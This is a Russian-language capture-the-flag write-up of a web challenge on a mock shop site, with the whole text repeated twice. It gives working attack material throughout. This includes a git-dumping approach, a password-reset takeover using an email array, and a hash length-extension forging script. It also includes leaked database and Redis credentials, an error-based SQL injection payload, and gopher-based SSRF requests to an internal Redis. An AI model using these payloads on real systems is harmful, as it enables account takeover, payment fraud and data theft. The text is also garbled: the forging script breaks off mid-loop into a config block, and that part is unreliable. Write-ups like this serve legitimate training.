Isis
20.04.2016, 01:14
Сайт http://zhopify.hackquest.phdays.com/web/
Доступна регистрация, авторизация, восстановление пароля.
После регистрации приходит письмо на почту такого вида:
Hello zhopify-f1NUo.
We have create account for you. Your password is Olf0mish
Account must be validated by administrator. But he is dead right now. Try approve account by yourself
Отправитель письма admin@zhopify.zhp (mailto:admin@zhopify.zhp) - запомнил.
Админ умер, обидно.
Потыкал все формы на xss/sql - ничего.
Погрустил, запустил dirbuster который обнаружил .git директорию.
Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.
Написал дампер гита на php с поддержкой соксов.
https://gist.github.com/firsov/734b98c7ac7d74a5cdf72eb83b9b607b
Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git
Выходим из папки .git выше и выполняем команду git ls-files > files.txt
Теперь у нас есть огромный список файлов гита zhopify.
Дальше запускаем скрипт и ждем.
В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.
http://hsto.org/files/286/bca/849/286bca849ebd413c8fb76ab21d50f8e4.png
Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.
Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.
В форме указывается email адрес в поле с именем
ForgotForm[еmail]
.
Сделал запрос такого вида:
ForgotForm[email][]=admin@zhopify.com
ForgotForm[email][]=mymail@gmail.com
На почту прилетело письмо
Hello admin,
Follow the link below to reset your password:
http://zhopify.hackquest.phdays.com...en=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039 (http://zhopify.hackquest.phdays.com/web/site/reset-password?token=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039)
Вот прикол!
Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.
Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.
Вспоминаю файл controllers/PayController.php из гита
public functionactionCheck()
{
// 1 usd pay test — {id: 1,
//amount: 1,
//system: 'liqpay',
//email: 'admin@localhost',
//plan: 'elite',
//signature: '131e8bde0e05873a50b3f0fd112e53e592600 38e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a689 5dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
if (Yii::$app->request->isAjax) {
Yii::$app->response->format= \yii\web\Response::FORMAT_JSON;
$data=Yii::$app->request->post();
if(!empty($data['signature'])) {
if( !empty($data['id']) && !empty($data['email']) && !empty($data['plan']) && !empty($data['amount']) && !empty($data['system']) ) {
if($this->checkSign($data,2) ===true) {
if (Yii::$app->user->id==$data['id']) {
$user=User::findIdentity(['id'=>Yii::$app->user->id]);
if($user) {
$user->balance+=$data['amount'];
if($user->save()) {
return ['ok'=>'Balance updated!'];
}
}
}
}
}
}
return ['error'=>'Fatal error!'];
}
return$this->render('pay', ['error'=>'Fatal error! Wrong singature!']);
}
private functioncheckSign(array$params,$k ey=1)
{
ksort($params);
if($key==1) {
$secretKey=Yii::$app->params['PAY_KEY1'];
} else {
$secretKey=Yii::$app->params['PAY_KEY2'];
}
$sign=$params['signature'];
unset($params['signature']);
$p=implode(':',$params);
$m=hash('sha512','check:'.$secretKey.':'.$p);
return$m===$sign;
}
Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.
Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.
Скрипт такой:
// (c) mailbrush
$data='1:admin@localhost:1:elite:liqpay';
$orig_sig='131e8bde0e05873a50b3f0fd112e53e59260038 e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895d cd28c4c0702a7e0c8f0d2e843b854c215eadbb5';
$inject= ['id'=>130,
'system'=>'a',
'email'=>'b',
'plan'=>'c',
'amount'=>500000
];
ksort($inject);
$append=':'.implode(':',$inject);
for($len=10;$len'yii\\db\\Connection',
'dsn'=>'mysql:host=localhost;dbname=zhopify',
'username'=>'zhopify',
'password'=>'uqBbFAWx/&:G6KNQRTtS',
'charset'=>'utf8',
];
Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:
В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:
products` where 1=1 |(select!x-~0.FROM(select+(select flag from flag.flag)x)f)-- f
Получаем error based sql inj
http://hsto.org/files/320/610/423/320610423c3649489dec028963b98efb.png
Flag 1: Welcome back to Megatask version two point zero.
От флага посмеялся от души.
Дальше хинтанули, что второй флаг лежит в редисе.
Снаружи к нему подрубиться нельзя, в читалке gopher не работает.
Нашелся файл ../.htaccess
Order allow,deny
Allow from 127.0.0.1
В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp
Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует!
Читаем содержимое файла:
if (!empty($_GET['u'])) {
$url_array=parse_url($_GET['u']);
if ($url_array!==FALSE) {
if (!empty($url_array['scheme']) && !in_array(strtolower($url_array['scheme']), ['file','dict','ftp']) ) {
if (!empty($url_array['host']) && !empty($url_array['path'])) {
$name=basename($url_array['path']);
if (!empty($name) ) {
$ext=pathinfo($name,PATHINFO_EXTENSION);
if ($ext= ='jpg') {
if ($curl=curl_init()) {
die;
curl_setopt($curl,CURLOPT_URL,$_GET['u']);
curl_setopt($curl,CURLOPT_HEADER,false);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,false);
curl_setopt($curl,CURLOPT_RANGE,"1-1024*1024*1");
$out=curl_exec($curl);
$data=$out;
curl_close($curl);
if ($data!==false) {
print$data;
}
}
}
}
}
}
}
}
SSRF налицо.
Необходимо передавать расширение jpg чтобы он выполнился.
Попробуем доступен ли здесь gopher.
Читаем файл так:
http://zhopify.zhp/testCURLimage.php?u=gopher://myip.com/1.jpg
Запрос есть - отлично.
Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:
keys *
quit
1.jpg
После quit будет выход из редиса со статусом OK.
Теперь мы можем обратиться к редису через gopher.
Запрос
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys%20*%250a1quit%250a1.jpg)
Ответ: NOAUTH Authentication required. OK
Читаем конфиг /etc/redis/redis.conf
Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad
Делаем запрос
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
keys *
quit
1.jpg
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1keys%20*%250a1quit%250a1.jpg)
Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
Следующий запрос
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
quit
1.jpg
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG%0a1q uit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1get%204bc37760d3d60167126e7f3ef5067d301e5c6606 _FLAG%250a1quit%250a1.jpg)
Ответ и флаг: Nice to see your asses here again!
Отличное задание!
Настоящий shopify заплатил бы за такое 31337$
Спасибо за помощь в решении таска mailbrush и yarbabin.
Доступна регистрация, авторизация, восстановление пароля.
После регистрации приходит письмо на почту такого вида:
Hello zhopify-f1NUo.
We have create account for you. Your password is Olf0mish
Account must be validated by administrator. But he is dead right now. Try approve account by yourself
Отправитель письма admin@zhopify.zhp (mailto:admin@zhopify.zhp) - запомнил.
Админ умер, обидно.
Потыкал все формы на xss/sql - ничего.
Погрустил, запустил dirbuster который обнаружил .git директорию.
Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут.
Написал дампер гита на php с поддержкой соксов.
https://gist.github.com/firsov/734b98c7ac7d74a5cdf72eb83b9b607b
Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git
Выходим из папки .git выше и выполняем команду git ls-files > files.txt
Теперь у нас есть огромный список файлов гита zhopify.
Дальше запускаем скрипт и ждем.
В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь.
http://hsto.org/files/286/bca/849/286bca849ebd413c8fb76ab21d50f8e4.png
Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал.
Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля.
В форме указывается email адрес в поле с именем
ForgotForm[еmail]
.
Сделал запрос такого вида:
ForgotForm[email][]=admin@zhopify.com
ForgotForm[email][]=mymail@gmail.com
На почту прилетело письмо
Hello admin,
Follow the link below to reset your password:
http://zhopify.hackquest.phdays.com...en=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039 (http://zhopify.hackquest.phdays.com/web/site/reset-password?token=iMAsmSL-_lFMF0V_MZ3VG1o6QDdLoN6_1460889039)
Вот прикол!
Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего.
Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает.
Вспоминаю файл controllers/PayController.php из гита
public functionactionCheck()
{
// 1 usd pay test — {id: 1,
//amount: 1,
//system: 'liqpay',
//email: 'admin@localhost',
//plan: 'elite',
//signature: '131e8bde0e05873a50b3f0fd112e53e592600 38e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a689 5dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'}
if (Yii::$app->request->isAjax) {
Yii::$app->response->format= \yii\web\Response::FORMAT_JSON;
$data=Yii::$app->request->post();
if(!empty($data['signature'])) {
if( !empty($data['id']) && !empty($data['email']) && !empty($data['plan']) && !empty($data['amount']) && !empty($data['system']) ) {
if($this->checkSign($data,2) ===true) {
if (Yii::$app->user->id==$data['id']) {
$user=User::findIdentity(['id'=>Yii::$app->user->id]);
if($user) {
$user->balance+=$data['amount'];
if($user->save()) {
return ['ok'=>'Balance updated!'];
}
}
}
}
}
}
return ['error'=>'Fatal error!'];
}
return$this->render('pay', ['error'=>'Fatal error! Wrong singature!']);
}
private functioncheckSign(array$params,$k ey=1)
{
ksort($params);
if($key==1) {
$secretKey=Yii::$app->params['PAY_KEY1'];
} else {
$secretKey=Yii::$app->params['PAY_KEY2'];
}
$sign=$params['signature'];
unset($params['signature']);
$p=implode(':',$params);
$m=hash('sha512','check:'.$secretKey.':'.$p);
return$m===$sign;
}
Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации.
Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf.
Скрипт такой:
// (c) mailbrush
$data='1:admin@localhost:1:elite:liqpay';
$orig_sig='131e8bde0e05873a50b3f0fd112e53e59260038 e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895d cd28c4c0702a7e0c8f0d2e843b854c215eadbb5';
$inject= ['id'=>130,
'system'=>'a',
'email'=>'b',
'plan'=>'c',
'amount'=>500000
];
ksort($inject);
$append=':'.implode(':',$inject);
for($len=10;$len'yii\\db\\Connection',
'dsn'=>'mysql:host=localhost;dbname=zhopify',
'username'=>'zhopify',
'password'=>'uqBbFAWx/&:G6KNQRTtS',
'charset'=>'utf8',
];
Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection:
В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query:
products` where 1=1 |(select!x-~0.FROM(select+(select flag from flag.flag)x)f)-- f
Получаем error based sql inj
http://hsto.org/files/320/610/423/320610423c3649489dec028963b98efb.png
Flag 1: Welcome back to Megatask version two point zero.
От флага посмеялся от души.
Дальше хинтанули, что второй флаг лежит в редисе.
Снаружи к нему подрубиться нельзя, в читалке gopher не работает.
Нашелся файл ../.htaccess
Order allow,deny
Allow from 127.0.0.1
В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp
Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует!
Читаем содержимое файла:
if (!empty($_GET['u'])) {
$url_array=parse_url($_GET['u']);
if ($url_array!==FALSE) {
if (!empty($url_array['scheme']) && !in_array(strtolower($url_array['scheme']), ['file','dict','ftp']) ) {
if (!empty($url_array['host']) && !empty($url_array['path'])) {
$name=basename($url_array['path']);
if (!empty($name) ) {
$ext=pathinfo($name,PATHINFO_EXTENSION);
if ($ext= ='jpg') {
if ($curl=curl_init()) {
die;
curl_setopt($curl,CURLOPT_URL,$_GET['u']);
curl_setopt($curl,CURLOPT_HEADER,false);
curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,5);
curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,false);
curl_setopt($curl,CURLOPT_RANGE,"1-1024*1024*1");
$out=curl_exec($curl);
$data=$out;
curl_close($curl);
if ($data!==false) {
print$data;
}
}
}
}
}
}
}
}
SSRF налицо.
Необходимо передавать расширение jpg чтобы он выполнился.
Попробуем доступен ли здесь gopher.
Читаем файл так:
http://zhopify.zhp/testCURLimage.php?u=gopher://myip.com/1.jpg
Запрос есть - отлично.
Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так:
keys *
quit
1.jpg
После quit будет выход из редиса со статусом OK.
Теперь мы можем обратиться к редису через gopher.
Запрос
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1keys%20*%250a1quit%250a1.jpg)
Ответ: NOAUTH Authentication required. OK
Читаем конфиг /etc/redis/redis.conf
Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad
Делаем запрос
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
keys *
quit
1.jpg
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1keys *%0a1quit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1keys%20*%250a1quit%250a1.jpg)
Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
Следующий запрос
AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad
get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG
quit
1.jpg
http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH 78109f951153fd3bdcf4715bf041c96c76b17bad%0a1get 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG%0a1q uit%0a1.jpg (http://zhopify.zhp/testCURLimage.php?u=gopher://127.0.0.1:6379/1AUTH%2078109f951153fd3bdcf4715bf041c96c76b17bad%2 50a1get%204bc37760d3d60167126e7f3ef5067d301e5c6606 _FLAG%250a1quit%250a1.jpg)
Ответ и флаг: Nice to see your asses here again!
Отличное задание!
Настоящий shopify заплатил бы за такое 31337$
Спасибо за помощь в решении таска mailbrush и yarbabin.